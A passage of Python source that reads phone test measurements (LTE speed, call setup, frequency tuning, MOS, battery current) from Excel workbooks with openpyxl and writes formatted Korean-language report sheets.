'Kbps'\n sheet_out['D39'] = list_lte_spd[29] + '%'\n # sheet_out['E37'] = self.check_num(abs(round(abs(float(list_lte_spd[27])) - 57.00, 2))) + 'dBm'\n # sheet_out['E38'] = self.check_num(abs(round(abs(float(list_lte_spd[28])) - 386000, 2))) + 'Kbps'\n sheet_out['E37'] = self.cal_comparison(57.00, list_lte_spd[27]) + 'dBm'\n sheet_out['E38'] = self.cal_comparison(386000.00, list_lte_spd[28]) + 'Kbps'\n sheet_out['E39'] = '-'\n\n sheet_out.merge_cells('A40:A42')\n sheet_out['A40'] = '5CA : B7+B3+B5+B1+B7(MCS28)'\n sheet_out['B40'] = 'RSSI'\n sheet_out['B41'] = '속도(Absolute)'\n sheet_out['B42'] = 'BLER'\n sheet_out['C40'] = '-56.00dBm'\n sheet_out['C41'] = '444500Kbps'\n sheet_out['C42'] = '-'\n sheet_out['D40'] = list_lte_spd[30] + 'dBm'\n sheet_out['D41'] = list_lte_spd[31] + 'Kbps'\n sheet_out['D42'] = list_lte_spd[32] + '%'\n # sheet_out['E40'] = self.check_num(abs(round(abs(float(list_lte_spd[30])) - 56.00, 2))) + 'dBm'\n # sheet_out['E41'] = self.check_num(abs(round(abs(float(list_lte_spd[31])) - 444500, 2))) + 'Kbps'\n sheet_out['E40'] = self.cal_comparison(56.00, list_lte_spd[30]) + 'dBm'\n sheet_out['E41'] = self.cal_comparison(444500.00, list_lte_spd[31]) + 'Kbps'\n sheet_out['E42'] = '-'\n\n self.setPrintText('/s {}번 파일 \"속도\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:E42\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A4'].alignment = self.top_alignment\n sheet_out['A22'].alignment = self.top_alignment\n sheet_out['A23'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A5:E20\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell border adjust\n for mCell in sheet_out[\"A24:E42\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A3:E42\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D', 'E']\n sheet_width_list = [20.63, 14, 14, 17, 15]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for i in [6, 9, 12, 15, 18, 25, 28, 31, 34, 37, 40]:\n sheet_out['A' + str(i)].fill = self.gray_fill\n\n for col in ['A', 'B', 'D', 'E']:\n sheet_out[col + '5'].fill = self.brown_fill\n sheet_out[col + '24'].fill = self.brown_fill\n\n for i in range(6, 21):\n sheet_out['B'+str(i)].fill = self.apricot_fill\n sheet_out['C'+str(i)].fill = self.apricot_fill\n\n for i in range(25, 43):\n sheet_out['B'+str(i)].fill = self.apricot_fill\n sheet_out['C'+str(i)].fill = self.apricot_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"속도\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # Call Setup Tab\n def call_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n call_val = ''\n\n # get data from wb_input\n sheet_in = wb_input['Call Test']\n\n call_val = self.check_num(sheet_in['D8'].value)\n\n #option setting wb.output\n sheet_out = wb_output['Call Setup Test']\n # sheet row 2 handle\n sheet_out.merge_cells('A1:C1')\n sheet_out['A1'] = 'Call Setup Test 결과'\n\n # 3~4 row\n sheet_out['A2'] = ' - WCDMA Call Setup Test'\n sheet_out['A3'] = '구분'\n sheet_out['B3'] = '기준'\n sheet_out['C3'] = '측정결과'\n sheet_out['D3'] = '비교'\n sheet_out['A4'] = 'Band 1'\n sheet_out['B4'] = ' -104.5dBm 이하'\n sheet_out['C4'] = call_val\n sheet_out['D4'] = '-'\n\n self.setPrintText('/s {}번 파일 \"Call Setuo Test\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:D4\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A2'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A3:D4\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A2:D4\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D']\n sheet_width_list = [25, 15.88, 17, 15]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n sheet_out['A4'].fill = self.gray_fill\n\n for col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '3'].fill = self.brown_fill\n\n sheet_out['B4'].fill = self.apricot_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"Call Setup Test\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 주파수동조 Tab\n def fre_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n list_c1 = []\n list_c2 = []\n list_c3 = []\n # get data from wb_input\n sheet_in = wb_input['주파수동조']\n\n for i in ['C', 'D', 'E', 'F']:\n list_c1.append(str(sheet_in[i + '5'].value))\n list_c1.append(str(sheet_in[i + '6'].value))\n list_c1.append(str(sheet_in[i + '7'].value))\n\n for i in ['C', 'D']:\n list_c2.append(str(sheet_in[i + '11'].value))\n list_c2.append(str(sheet_in[i + '12'].value))\n list_c2.append(str(sheet_in[i + '13'].value))\n\n for i in ['C', 'D', 'E', 'F']:\n list_c3.append(str(sheet_in[i + '17'].value))\n list_c3.append(str(sheet_in[i + '18'].value))\n list_c3.append(str(sheet_in[i + '19'].value))\n\n # option setting wb.output\n sheet_out = wb_output['주파수동조']\n\n # sheet row 2 handle\n sheet_out.merge_cells('A1:D1')\n sheet_out['A1'] = '주파수동조 결과'\n\n # 3~8 row\n sheet_out['A3'] = '▣ LTE'\n sheet_out.merge_cells('A4:B4')\n sheet_out['A4'] = '지원 Band 및 정보'\n sheet_out['C4'] = '측정결과'\n sheet_out['D4'] = '비고'\n i = 0\n j = 0\n while i < len(list_c1):\n\n sheet_out['A' + str(5 + j)] = list_c1[i]\n sheet_out['B' + str(5 + j)] = list_c1[i+1]\n sheet_out['C' + str(5 + j)] = list_c1[i+2]\n sheet_out['D' + str(5 + j)] = ''\n i = i + 3\n j = j + 1\n\n # 10~13 row\n sheet_out['A10'] = '▣ WCDMA'\n sheet_out.merge_cells('A11:B11')\n sheet_out['A11'] = '지원 Band 및 정보'\n sheet_out['C11'] = '측정결과'\n sheet_out['D11'] = '비고'\n i = 0\n j = 0\n while i < len(list_c2):\n sheet_out['A' + str(12 + j)] = list_c2[i]\n sheet_out['B' + str(12 + j)] = list_c2[i + 1]\n sheet_out['C' + str(12 + j)] = list_c2[i + 2]\n sheet_out['D' + str(12 + j)] = ''\n i = i + 3\n j = j + 1\n\n # 15~20 row\n sheet_out['A15'] = '▣ GMS'\n sheet_out.merge_cells('A16:B16')\n sheet_out['A16'] = '지원 Band 및 정보'\n sheet_out['C16'] = '측정결과'\n sheet_out['D16'] = '비고'\n i = 0\n j = 0\n while i < len(list_c3):\n sheet_out['A' + str(17 + j)] = list_c3[i]\n sheet_out['B' + str(17 + j)] = list_c3[i + 1]\n sheet_out['C' + str(17 + j)] = list_c3[i + 2]\n sheet_out['D' + str(17 + j)] = ''\n i = i + 3\n j = j + 1\n\n self.setPrintText('/s {}번 파일 \"주파수동조\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:D20\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A10'].alignment = self.top_alignment\n sheet_out['A15'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A4:D8\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A11:D13\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A16:D20\"]:\n for cell in mCell:\n cell.border = self.thin_border\n # all cell font adjust\n for mCell in sheet_out[\"A3:D20\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D']\n sheet_width_list = [15.13, 24.5, 17, 15]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for i in [5, 6, 7, 8, 12, 13, 17, 18, 19, 20]:\n sheet_out['A' + str(i)].fill = self.gray_fill\n sheet_out['B' + str(i)].fill = self.gray_fill\n\n for i in [4, 11, 16]:\n sheet_out['A' + str(i)].fill = self.brown_fill\n sheet_out['C' + str(i)].fill = self.brown_fill\n sheet_out['D' + str(i)].fill = self.brown_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"주파수동조\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # Call Setup Tab\n def mos_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n list_val = []\n\n # get data from wb_input\n sheet_in = wb_input['MOS']\n list_val.append(self.check_num(sheet_in['C6'].value))\n list_val.append(self.check_num(sheet_in['D6'].value))\n list_val.append(self.check_num(sheet_in['E6'].value))\n list_val.append(self.check_num(sheet_in['F6'].value))\n\n #option setting wb.output\n sheet_out = wb_output['MOS']\n # sheet row 1 handle\n sheet_out.merge_cells('A1:D1')\n sheet_out['A1'] = 'MOS 결과'\n\n # sheet row 2 handle\n sheet_out['A2'] = '- MOS 결과'\n sheet_out['A3'] = '▣ POLQA_48K'\n\n # 4~6 row\n sheet_out['A4'] = '구분'\n sheet_out['B4'] = '기준'\n sheet_out['C4'] = '측정결과'\n sheet_out['D4'] = '비교'\n sheet_out['A5'] = 'Downlink MOS'\n sheet_out['B5'] = '3.5 이상'\n sheet_out['C5'] = list_val[0]\n # sheet_out['D5'] = self.check_num(abs(round(abs(float(list_val[0])) - 3.5, 2)))\n sheet_out['D5'] = self.cal_comparison(3.5, list_val[0])\n sheet_out['A6'] = 'Uplink MOS'\n sheet_out['B6'] = '3.5 이상'\n sheet_out['C6'] = list_val[1]\n # sheet_out['D6'] = self.check_num(abs(round(abs(float(list_val[1])) - 3.5, 2)))\n sheet_out['D6'] = self.cal_comparison(3.5, list_val[1])\n\n # sheet row 8 handle\n sheet_out['A8'] = '▣ POLQA_8K'\n\n # 9~11 row\n sheet_out['A9'] = '구분'\n sheet_out['B9'] = '기준'\n sheet_out['C9'] = '측정결과'\n sheet_out['A10'] = 'Downlink MOS'\n sheet_out['B10'] = '3.0 이상'\n sheet_out['C10'] = list_val[2]\n # sheet_out['D10'] = self.check_num(abs(round(abs(float(list_val[2])) - 3.0, 2)))\n sheet_out['D10'] = self.cal_comparison(3.0, list_val[2])\n sheet_out['A11'] = 'Uplink MOS'\n sheet_out['B11'] = '3.0 이상'\n sheet_out['C11'] = list_val[3]\n # sheet_out['D11'] = self.check_num(abs(round(abs(float(list_val[3])) - 3.0, 2)))\n sheet_out['D11'] = self.cal_comparison(3.0, list_val[2])\n\n self.setPrintText('/s {}번 파일 \"MOS\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:D11\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A2'].alignment = self.top_alignment\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A8'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A4:D6\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n for mCell in sheet_out[\"A9:D11\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A2:D11\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D']\n sheet_width_list = [25, 15.88, 17, 13.13]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for i in [4, 9]:\n sheet_out['A' + str(i)].fill = self.brown_fill\n sheet_out['B' + str(i)].fill = self.brown_fill\n sheet_out['C' + str(i)].fill = self.brown_fill\n sheet_out['D' + str(i)].fill = self.brown_fill\n\n for i in [5, 6, 10, 11]:\n sheet_out['A' + str(i)].fill = self.gray_fill\n sheet_out['B' + str(i)].fill = self.apricot_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"MOS\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # DOU Tab\n def dou_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n list_input = []\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n col_sum = list(range(4, 16))\n col_a = [1, 2, 4, 7, 13, 16, 17]\n col_b = [2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n col_c = [2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n col_d = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n col_e = [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n i_sum = 0.0\n r_sum = 0.0\n t_sum = 0.0\n\n # get data from wb_input\n sheet_in = wb_input['배터리소모전류(DOU)']\n temp_data = []\n for i in col_a:\n if i == 1:\n temp_data.append(str(sheet_in['A' + str(i)].value))\n else:\n temp_data.append(str(sheet_in['A' + str(i + 1)].value))\n list_input.append(temp_data)\n\n temp_data = []\n for i in col_b:\n temp_data.append(str(sheet_in['B' + str(i + 1)].value))\n list_input.append(temp_data)\n\n temp_data = []\n for i in col_c:\n temp_data.append(str(sheet_in['C' + str(i + 1)].value))\n if i in col_sum:\n if self.isNumber(sheet_in['C' + str(i + 1)].value):\n t_sum = t_sum + float(sheet_in['C' + str(i + 1)].value)\n list_input.append(temp_data)\n\n temp_data = []\n for i in col_d:\n if i in col_sum:\n if self.isNumber(sheet_in['D' + str(i + 1)].value):\n i_sum = i_sum + float(sheet_in['D' + str(i + 1)].value)\n temp_data.append(round(float(sheet_in['D' + str(i + 1)].value), 1))\n else:\n temp_data.append(self.check_empty(sheet_in['D' + str(i + 1)].value))\n else:\n temp_data.append(self.check_empty(sheet_in['D' + str(i + 1)].value))\n list_input.append(temp_data)\n\n temp_data = []\n for i in col_e:\n if i in col_sum:\n if self.isNumber(sheet_in['E' + str(i + 1)].value):\n r_sum = r_sum + float(sheet_in['E' + str(i + 1)].value)\n temp_data.append(round(float(sheet_in['E' + str(i + 1)].value), 1))\n else:\n temp_data.append(self.check_empty(sheet_in['E' + str(i + 1)].value))\n else:\n temp_data.append(self.check_empty(sheet_in['E' + str(i + 1)].value))\n list_input.append(temp_data)\n\n # input the data on output sheet\n sheet_out = wb_output['배터리소모전류(DOU)']\n\n for idx_2, item2 in enumerate(list_input):\n\n if idx_2 == 0:\n for i in range(len(item2)):\n sheet_out['A'+str(col_a[i])] = item2[i]\n elif idx_2 == 1:\n for i in range(len(item2)):\n sheet_out['B'+str(col_b[i])] = item2[i]\n elif idx_2 == 2:\n for i in range(len(item2)):\n sheet_out['C'+str(col_c[i])] = item2[i]\n elif idx_2 == 3:\n for i in range(len(item2)):\n sheet_out['D'+str(col_d[i])] = item2[i]\n else:\n for i in range(len(item2)):\n sheet_out['E'+str(col_e[i])] = item2[i]\n\n # fill rest values\n sheet_out.merge_cells('A1:E1')\n sheet_out.merge_cells('A2:A3')\n sheet_out.merge_cells('B2:B3')\n sheet_out.merge_cells('C2:C3')\n sheet_out.merge_cells('D2:E2')\n sheet_out.merge_cells('A4:A6')\n sheet_out.merge_cells('A7:A12')\n sheet_out.merge_cells('A13:A15')\n sheet_out.merge_cells('A16:B16')\n sheet_out.merge_cells('A17:C17')\n sheet_out.merge_cells('D17:E17')\n\n sheet_out['A16'] = '소계'\n if str(t_sum) == '0' or str(t_sum) == '0.0':\n sheet_out['C16'] = ''\n else:\n sheet_out['C16'] = round(t_sum, 1)\n\n if str(r_sum) == '0' or str(r_sum) == '0.0':\n sheet_out['E16'] = ''\n else:\n sheet_out['E16'] = round(r_sum, 1)\n\n if str(i_sum) == '0' or str(i_sum) == '0.0':\n sheet_out['D16'] = ''\n else:\n sheet_out['D16'] = round(i_sum, 1)\n\n sheet_out['A17'] = '사용시간'\n sheet_out['D17'] = str(round(self.battery_spec/r_sum, 2))+\"일\"\n\n self.setPrintText('/s {}번 파일 \"베터리소모전류(DOU)\" 테이터 입력 완료 /e'.format(idx+1))\n\n if self.opFlag:\n\n # all cell aligment adjust\n for mCell in sheet_out[\"A1:E17\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A2:E17\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A2:E17\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each coloum width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D', 'E']\n sheet_width_list = [10.25, 27.38, 15.5, 17, 17]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n sheet_out['A2'].fill = self.brown_fill\n sheet_out['B2'].fill = self.brown_fill\n sheet_out['C2'].fill = self.brown_fill\n sheet_out['D2'].fill = self.brown_fill\n sheet_out['D3'].fill = self.brown_fill\n sheet_out['E3'].fill = self.brown_fill\n sheet_out['A16'].fill = self.light_brown_fill\n sheet_out['C16'].fill = self.light_brown_fill\n sheet_out['D16'].fill = self.light_brown_fill\n sheet_out['E16'].fill = self.light_brown_fill\n sheet_out['A17'].fill = self.brown_fill\n sheet_out['D17'].fill = self.brown_fill\n\n for i in range(4, 16):\n sheet_out['A' + str(i)].fill = self.gray_fill\n sheet_out['B' + str(i)].fill = self.gray_fill\n sheet_out['C' + str(i)].fill = self.gray_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"베터리소모전류(DOU)\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 베터리소모전류 Tab\n def bat_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_input = openpyxl.load_workbook(item, data_only=True)\n wb_output = openpyxl.load_workbook(self.list_out_files[idx])\n col_out = ['Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'AA', 'AB']\n\n # get data from wb_input\n sheet_in = wb_input['배터리소모전류']\n #option setting wb.output\n sheet_out = wb_output['배터리소모전류 세부데이터']\n\n # sheet row 1 handle\n sheet_out.merge_cells('A1:P1')\n sheet_out['A1'] = '베터리소모전류 결과'\n # sheet row 3~5 handle\n sheet_out['A3'] = '▣ 5G 측정내역'\n sheet_out.merge_cells('A4:A5')\n sheet_out['A4'] = '차수'\n sheet_out.merge_cells('B4:B5')\n sheet_out['B4'] = '시료번호'\n sheet_out.merge_cells('C4:C5')\n sheet_out['C4'] = '베터리용량'\n sheet_out.merge_cells('D4:D5')\n sheet_out['D4'] = '측정채널'\n sheet_out.merge_cells('E4:H4')\n sheet_out['E4'] = sheet_in['E8'].value\n sheet_out.merge_cells('I4:L4')\n sheet_out['I4'] = sheet_in['I8'].value\n sheet_out.merge_cells('M4:P4')\n sheet_out['M4'] = sheet_in['M8'].value\n\n sheet_out.merge_cells('E5:F5')\n sheet_out['E5'] = sheet_in['E9'].value\n sheet_out.merge_cells('G5:H5')\n sheet_out['G5'] = sheet_in['G9'].value\n sheet_out.merge_cells('I5:J5')\n sheet_out['I5'] = sheet_in['I9'].value\n sheet_out.merge_cells('K5:L5')\n sheet_out['K5'] = sheet_in['K9'].value\n sheet_out.merge_cells('M5:N5')\n sheet_out['M5'] = sheet_in['M9'].value\n sheet_out.merge_cells('O5:P5')\n sheet_out['O5'] = sheet_in['O9'].value\n\n # sheet row 6~7 handle\n sheet_out.merge_cells('A6:D7')\n sheet_out['A6'] = 'SKT 기준'\n for col in ['E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P']:\n sheet_out[col + '6'] = sheet_in[col+'10'].value\n sheet_out[col + '7'] = sheet_in[col+'11'].value\n\n # sheet row 8~9 handle\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P']:\n\n if col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '8'] = sheet_in[col + '12'].value\n sheet_out[col + '9'] = sheet_in[col + '13'].value\n else:\n # row 8\n if self.isNumber(sheet_in[col + '12'].value):\n sheet_out[col + '8'] = self.check_num(round(float(sheet_in[col + '12'].value), 2))\n else:\n sheet_out[col + '8'] = self.check_empty(sheet_in[col + '12'].value)\n\n # row 9\n if self.isNumber(sheet_in[col + '13'].value):\n sheet_out[col + '9'] = self.check_num(round(float(sheet_in[col + '13'].value), 2))\n else:\n sheet_out[col + '9'] = self.check_empty(sheet_in[col + '13'].value)\n\n # sheet row 12~15 handle\n sheet_out.merge_cells('A10:A11')\n sheet_out['A10'] = '차수'\n sheet_out.merge_cells('B10:B11')\n sheet_out['B10'] = '시료번호'\n sheet_out.merge_cells('C10:C11')\n sheet_out['C10'] = '베터리용량'\n sheet_out.merge_cells('D10:D11')\n sheet_out['D10'] = '측정채널'\n\n sheet_out.merge_cells('E10:F10')\n sheet_out['E10'] = sheet_in['Q8'].value\n sheet_out.merge_cells('G10:H10')\n sheet_out['G10'] = sheet_in['S8'].value\n sheet_out.merge_cells('I10:J10')\n sheet_out['I10'] = sheet_in['U8'].value\n sheet_out.merge_cells('K10:L10')\n sheet_out['K10'] = sheet_in['W8'].value\n sheet_out.merge_cells('M10:N10')\n sheet_out['M10'] = sheet_in['Y8'].value\n sheet_out.merge_cells('O10:P10')\n sheet_out['O10'] = sheet_in['AA8'].value\n\n sheet_out.merge_cells('E11:F11')\n sheet_out['E11'] = sheet_in['Q9'].value\n sheet_out.merge_cells('G11:H11')\n sheet_out['G11'] = sheet_in['S9'].value\n sheet_out.merge_cells('I11:J11')\n sheet_out['I11'] = sheet_in['U9'].value\n sheet_out.merge_cells('K11:L11')\n sheet_out['K11'] = sheet_in['W9'].value\n sheet_out.merge_cells('M11:N11')\n sheet_out['M11'] = sheet_in['Y9'].value\n sheet_out.merge_cells('O11:P11')\n sheet_out['O11'] = sheet_in['AA9'].value\n\n # sheet row 12~13 handle\n sheet_out.merge_cells('A12:D13')\n sheet_out['A12'] = 'SKT 기준'\n\n for i, col in enumerate(['E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P']):\n sheet_out[col + '12'] = sheet_in[col_out[i] + '10'].value\n sheet_out[col + '13'] = sheet_in[col_out[i] + '11'].value\n\n # sheet row 14~15 handle\n for i, col in enumerate(['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P']):\n\n if col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '14'] = sheet_in[col + '12'].value\n sheet_out[col + '15'] = sheet_in[col + '13'].value\n else:\n # row 14\n if self.isNumber(sheet_in[col_out[i-4] + '12'].value):\n sheet_out[col + '14'] = self.check_num(round(float(sheet_in[col_out[i-4] + '12'].value), 2))\n else:\n sheet_out[col + '14'] = self.check_empty(sheet_in[col_out[i-4] + '12'].value)\n\n # row 15\n if self.isNumber(sheet_in[col_out[i-4] + '13'].value):\n sheet_out[col + '15'] = self.check_num(round(float(sheet_in[col_out[i-4] + '13'].value), 2))\n else:\n sheet_out[col + '15'] = self.check_empty(sheet_in[col_out[i-4] + '13'].value)\n\n # sheet row 17~19 handle\n sheet_out['A17'] = '▣ LTE 측정내역'\n sheet_out.merge_cells('A18:A19')\n sheet_out['A18'] = '차수'\n sheet_out.merge_cells('B18:B19')\n sheet_out['B18'] = '시료번호'\n sheet_out.merge_cells('C18:C19')\n sheet_out['C18'] = '베터리용량'\n sheet_out.merge_cells('D18:D19')\n sheet_out['D18'] = '측정채널'\n sheet_out.merge_cells('E18:H18')\n sheet_out['E18'] = sheet_in['E16'].value\n sheet_out.merge_cells('I18:L18')\n sheet_out['I18'] = sheet_in['I16'].value\n sheet_out.merge_cells('M18:P18')\n sheet_out['M18'] = sheet_in['M16'].value\n\n sheet_out.merge_cells('E19:F19')\n sheet_out['E19'] = sheet_in['E17'].value\n sheet_out.merge_cells('G19:H19')\n sheet_out['G19'] = sheet_in['G17'].value\n sheet_out.merge_cells('I19:J19')\n sheet_out['I19'] = sheet_in['I17'].value\n sheet_out.merge_cells('K19:L19')\n sheet_out['K19'] = sheet_in['K17'].value\n sheet_out.merge_cells('M19:N19')\n sheet_out['M19'] = sheet_in['M17'].value\n sheet_out.merge_cells('O19:P19')\n sheet_out['O19'] = sheet_in['O17'].value\n\n # sheet row 20~21 handle\n sheet_out.merge_cells('A20:D21')\n sheet_out['A20'] = 'SKT 기준'\n for col in ['E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P']:\n sheet_out[col + '20'] = sheet_in[col+'18'].value\n sheet_out[col + '21'] = sheet_in[col+'19'].value\n\n # sheet row 22~23 handle\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P']:\n\n if col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '22'] = sheet_in[col + '12'].value\n sheet_out[col + '23'] = sheet_in[col + '13'].value\n else:\n # row 22\n if self.isNumber(sheet_in[col + '20'].value):\n sheet_out[col + '22'] = self.check_num(round(float(sheet_in[col + '20'].value), 2))\n else:\n sheet_out[col + '22'] = self.check_empty(sheet_in[col + '20'].value)\n\n # row 23\n if self.isNumber(sheet_in[col + '21'].value):\n sheet_out[col + '23'] = self.check_num(round(float(sheet_in[col + '21'].value), 2))\n else:\n sheet_out[col + '23'] = self.check_empty(sheet_in[col + '21'].value)\n\n # sheet row 24~25 handle\n sheet_out.merge_cells('A24:A25')\n sheet_out['A24'] = '차수'\n sheet_out.merge_cells('B24:B25')\n sheet_out['B24'] = '시료번호'\n sheet_out.merge_cells('C24:C25')\n sheet_out['C24'] = '베터리용량'\n sheet_out.merge_cells('D24:D25')\n sheet_out['D24'] = '측정채널'\n\n sheet_out.merge_cells('E24:F24')\n sheet_out['E24'] = sheet_in['Q16'].value\n sheet_out.merge_cells('G24:H24')\n sheet_out['G24'] = sheet_in['S16'].value\n sheet_out.merge_cells('I24:J24')\n sheet_out['I24'] = sheet_in['U16'].value\n sheet_out.merge_cells('K24:L24')\n sheet_out['K24'] = sheet_in['W16'].value\n\n sheet_out.merge_cells('E25:F25')\n sheet_out['E25'] = sheet_in['Q17'].value\n sheet_out.merge_cells('G25:H25')\n sheet_out['G25'] = sheet_in['S17'].value\n sheet_out.merge_cells('I25:J25')\n 